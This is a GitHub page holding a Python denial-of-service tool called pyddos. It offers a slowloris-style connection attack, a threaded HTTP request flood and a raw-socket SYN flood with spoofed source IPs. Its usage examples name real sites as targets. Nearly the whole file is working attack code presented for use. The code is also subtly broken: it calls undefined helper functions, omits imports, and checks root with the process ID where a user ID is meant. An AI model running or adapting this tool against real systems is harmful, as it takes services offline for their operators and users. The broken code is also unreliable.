-
Notifications
You must be signed in to change notification settings - Fork 3
/
DDOS Script.py
442 lines (410 loc) · 14.3 KB
/
DDOS Script.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
import os
import sys
import time
import signal
import http.client
import urllib.parse
from random import *
from socket import *
from threading import Thread, Lock
from argparse import ArgumentParser, RawTextHelpFormatter
# Check and install necessary modules
if os.name == 'posix':
# Check if pip is installed
c = os.system('which pip')
if c == 256:
# Install pip if not found
os.system('sudo apt-get install python-pip')
else:
print('[-] Check your pip installer')
try:
import requests
from termcolor import colored, cprint
except:
try:
if os.name == 'posix':
# Install necessary modules on Linux
os.system('sudo pip install requests')
sys.exit('[+] I have installed necessary modules for you')
elif os.name == 'nt':
# Install necessary modules on Windows
os.system('pip install requests')
sys.exit('[+] I have installed necessary modules for you')
else:
sys.exit('[-] Download and install necessary modules')
except Exception as e:
print('[-]', e)
signal.signal(signal.SIGFPE, signal.SIG_DFL)
def fake_ip():
"""
Generate a fake IP address.
"""
while True:
ips = [str(randrange(0, 256)) for i in range(4)]
if ips[0] == "127":
continue
fkip = '.'.join(ips)
break
return fkip
class Pyslow:
def __init__(self, tgt, port, to, threads, sleep):
self.tgt = tgt
self.port = port
self.to = to
self.threads = threads
self.sleep = sleep
self.method = ['GET', 'POST']
self.pkt_count = 0
def mypkt(self):
"""
Generate a packet for the attack.
"""
text = choice(self.method) + ' /' + str(randint(1, 999999999)) + ' HTTP/1.1\r\n' + \
'Host:' + self.tgt + '\r\n' + \
'User-Agent:' + choice(add_useragent()) + '\r\n' + \
'Content-Length: 42\r\n'
pkt = buffer(text)
return pkt
def building_socket(self):
"""
Build a socket for the connection.
"""
try:
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
sock.settimeout(self.to)
sock.connect((self.tgt, int(self.port)))
self.pkt_count += 3
if sock:
sock.sendto(self.mypkt(), (self.tgt, int(self.port)))
self.pkt_count += 1
except Exception:
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
sock.settimeout(self.to)
sock.connect((self.tgt, int(self.port)))
sock.settimeout(None)
self.pkt_count += 3
if sock:
sock.sendto(self.mypkt(), (self.tgt, int(self.port)))
self.pkt_count += 1
except KeyboardInterrupt:
sys.exit(cprint('[-] Canceled by user', 'red'))
return sock
def sending_packets(self):
"""
Send packets over the socket.
"""
try:
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
sock.settimeout(self.to)
sock.connect((self.tgt, int(self.port)))
self.pkt_count += 3
if sock:
sock.sendall('X-a: b\r\n')
self.pkt += 1
except Exception:
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
sock.settimeout(self.to)
sock.connect((self.tgt, int(self.port)))
sock.settimeout(None)
if sock:
sock.sendall('X-a: b\r\n')
self.pkt_count += 1
except KeyboardInterrupt:
sys.exit(cprint('[-] Canceled by user', 'red'))
return sock
def doconnection(self):
"""
Perform the connection.
"""
socks = 0
fail = 0
lsocks = []
lhandlers = []
cprint('\t\tBuilding sockets', 'blue')
while socks < (int(self.threads)):
try:
sock = self.building_socket()
if sock:
lsocks.append(sock)
socks += 1
if socks > int(self.threads):
break
except Exception:
fail += 1
except KeyboardInterrupt:
sys.exit(cprint('[-] Canceled by user', 'red'))
cprint('\t\tSending packets', 'blue')
while socks < int(self.threads):
try:
handler = self.sending_packets()
if handler:
lhandlers.append(handler)
socks += 1
if socks > int(self.threads):
break
else:
pass
except Exception:
fail += 1
except KeyboardInterrupt:
break
sys.exit(cprint('[-] Canceled by user', 'red'))
# print colored('I have sent ','green') + colored(str(self.pkt_count),'cyan') + colored(' packets successfully.Now i\'m going to sleep for ','green') + colored(self.sleep,'red') + colored(' second','green')
time.sleep(self.sleep)
class Requester(Thread):
def __init__(self, tgt):
Thread.__init__(self)
self.tgt = tgt
self.port = None
self.ssl = False
self.req = []
self.lock = Lock()
url_type = urllib.parse.urlparse(self.tgt)
if url_type.scheme == 'https':
self.ssl = True
if self.ssl == True:
self.port = 443
else:
self.port = 80
def header(self):
"""
Generate the HTTP header for the request.
"""
cachetype = ['no-cache', 'no-store', 'max-age=' + str(randint(0, 10)), 'max-stale=' + str(randint(0, 100)),
'min-fresh=' + str(randint(0, 10)), 'notransform', 'only-if-cache']
acceptEc = ['compress,gzip', '', '*', 'compress;q=0,5, gzip;q=1.0', 'gzip;q=1.0, indentity; q=0.5, *;q=0']
acceptC = ['ISO-8859-1', 'utf-8', 'Windows-1251', 'ISO-8859-2', 'ISO-8859-15']
bot = add_bots()
c = choice(cachetype)
a = choice(acceptEc)
http_header = {
'User-Agent': choice(add_useragent()),
'Cache-Control': c,
'Accept-Encoding': a,
'Keep-Alive': '42',
'Host': self.tgt,
'Referer': choice(bot)
}
return http_header
def rand_str(self):
"""
Generate a random string.
"""
mystr = []
for x in range(3):
chars = tuple(string.ascii_letters + string.digits)
text = (choice(chars) for _ in range(randint(7, 14)))
text = ''.join(text)
mystr.append(text)
return '&'.join(mystr)
def create_url(self):
"""
Create a URL with a random string.
"""
return self.tgt + '?' + self.rand_str()
def data(self):
"""
Generate the URL and HTTP header for the request.
"""
url = self.create_url()
http_header = self.header()
return (url, http_header)
def run(self):
try:
if self.ssl:
conn = http.client.HTTPSConnection(self.tgt, self.port)
else:
conn = http.client.HTTPConnection(self.tgt, self.port)
self.req.append(conn)
for reqter in self.req:
(url, http_header) = self.data()
method = choice(['get', 'post'])
reqter.request(method.upper(), url, None, http_header)
except KeyboardInterrupt:
sys.exit(cprint('[-] Canceled by user', 'red'))
except Exception as e:
print(e)
finally:
self.closeConnections()
def closeConnections(self):
"""
Close the connections.
"""
for conn in self.req:
try:
conn.close()
except:
pass
class Synflood(Thread):
def __init__(self, tgt, ip, sock=None):
Thread.__init__(self)
self.tgt = tgt
self.ip = ip
self.psh = ''
if sock is None:
self.sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)
self.sock.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
else:
self.sock = sock
self.lock = Lock()
def checksum(self):
"""
Calculate the TCP checksum.
"""
s = 0
for i in range(0, len(self.psh), 2):
w = (ord(self.psh[i]) << 8) + (ord(self.psh[i + 1]))
s = s + w
s = (s >> 16) + (s & 0xffff)
s = ~s & 0xffff
return s
def Building_packet(self):
"""
Build the packet for the SYN flood attack.
"""
ihl = 5
version = 4
tos = 0
tot = 40
id = 54321
frag_off = 0
ttl = 64
protocol = IPPROTO_TCP
check = 10
s_addr = inet_aton(self.ip)
d_addr = inet_aton(self.tgt)
ihl_version = (version << 4) + ihl
ip_header = pack('!BBHHHBBH4s4s', ihl_version, tos, tot, id, frag_off, ttl, protocol, check, s_addr, d_addr)
source = 54321
dest = 80
seq = 0
ack_seq = 0
doff = 5
fin = 0
syn = 1
rst = 0
ack = 0
psh = 0
urg = 0
window = htons(5840)
check = 0
urg_prt = 0
offset_res = (doff << 4)
tcp_flags = fin + (syn << 1) + (rst << 2) + (psh << 3) + (ack << 4) + (urg << 5)
tcp_header = pack('!HHLLBBHHH', source, dest, seq, ack_seq, offset_res, tcp_flags, window, check, urg_prt)
src_addr = inet_aton(self.ip)
dst_addr = inet_aton(self.tgt)
place = 0
protocol = IPPROTO_TCP
tcp_length = len(tcp_header)
self.psh = pack('!4s4sBBH', src_addr, dst_addr, place, protocol, tcp_length);
self.psh = self.psh + tcp_header;
tcp_checksum = self.checksum()
tcp_header = pack('!HHLLBBHHH', source, dest, seq, ack_seq, offset_res, tcp_flags, window, tcp_checksum, urg_prt)
packet = ip_header + tcp_header
return packet
def run(self):
packet = self.Building_packet()
try:
self.lock.acquire()
self.sock.sendto(packet, (self.tgt, 0))
except KeyboardInterrupt:
sys.exit(cprint('[-] Canceled by user', 'red'))
except Exception as e:
cprint(e, 'red')
finally:
self.lock.release()
def main():
parser = ArgumentParser(
usage='./%(prog)s -t [target] -p [port] -t [number threads]',
formatter_class=RawTextHelpFormatter,
prog='pyddos',
description=cprint(title, 'white', attrs=['bold']),
epilog='''
Example:
./%(prog)s -d www.example.com -p 80 -T 2000 -Pyslow
./%(prog)s -d www.domain.com -s 100 -Request
./%(prog)s -d www.google.com -Synflood -T 5000 -t 10.0
'''
)
options = parser.add_argument_group('options', '')
options.add_argument('-d', metavar='<ip|domain>', default=False,
help='Specify your target such an ip or domain name')
options.add_argument('-t', metavar='<float>', default=5.0, help='Set timeout for socket')
options.add_argument('-T', metavar='<int>', default=1000, help='Set threads number for connection (default = 1000)')
options.add_argument('-p', metavar='<int>', default=80,
help='Specify port target (default = 80)' + colored(' |Only required with pyslow attack|', 'red'))
options.add_argument('-s', metavar='<int>', default=100, help='Set sleep time for reconnection')
options.add_argument('-i', metavar='<ip address>', default=False, help='Specify spoofed ip unless use fake ip')
options.add_argument('-Request', action='store_true', help='Enable request target')
options.add_argument('-Synflood', action='store_true', help='Enable synflood attack')
options.add_argument('-Pyslow', action='store_true', help='Enable pyslow attack')
options.add_argument('--fakeip', action='store_true', default=False, help='Option to create fake ip if not specify spoofed ip')
args = parser.parse_args()
if args.d == False:
parser.print_help()
sys.exit()
if args.d:
check_tgt(args)
if args.Pyslow:
try:
tgt = args.d
port = args.p
to = float(args.t)
st = int(args.s)
threads = int(args.T)
except Exception as e:
print('[-]', e)
while 1:
try:
worker = Pyslow(tgt, port, to, threads, st)
worker.doconnection()
except KeyboardInterrupt:
sys.exit(cprint('[-] Canceled by user', 'red'))
elif args.Request:
tgt = args.d
threads = []
print(colored('[*] Start send request to: ', 'blue') + colored(tgt, 'red'))
while 1:
try:
for x in range(int(args.T)):
t = Requester(tgt)
t.daemon = True
t.start()
t.join()
except KeyboardInterrupt:
sys.exit(cprint('[-] Canceled by user', 'red'))
elif args.Synflood:
uid = os.getpid()
if uid == 0:
cprint('[*] You have enough permission to run this script', 'green')
time.sleep(0.5)
else:
sys.exit(cprint('[-] You haven\'t enough permission to run this script', 'red'))
tgt = check_tgt(args)
synsock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)
synsock.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
ts = []
threads = []
print(colored('[*] Started SYN Flood: ', 'blue') + colored(tgt, 'red'))
while 1:
if args.i == False:
args.fakeip = True
if args.fakeip == True:
ip = fake_ip()
else:
ip = args.i
try:
for x in range(0, int(args.T)):
thread = Synflood(tgt, ip, sock=synsock)
thread.setDaemon(True)
thread.start()
thread.join()
except KeyboardInterrupt:
sys.exit(cprint('[-] Canceled by user', 'red'))
else:
parser.print_help()
print
sys.exit(cprint('[-] You must choose attack type', 'red'))
if __name__ == '__main__':
main()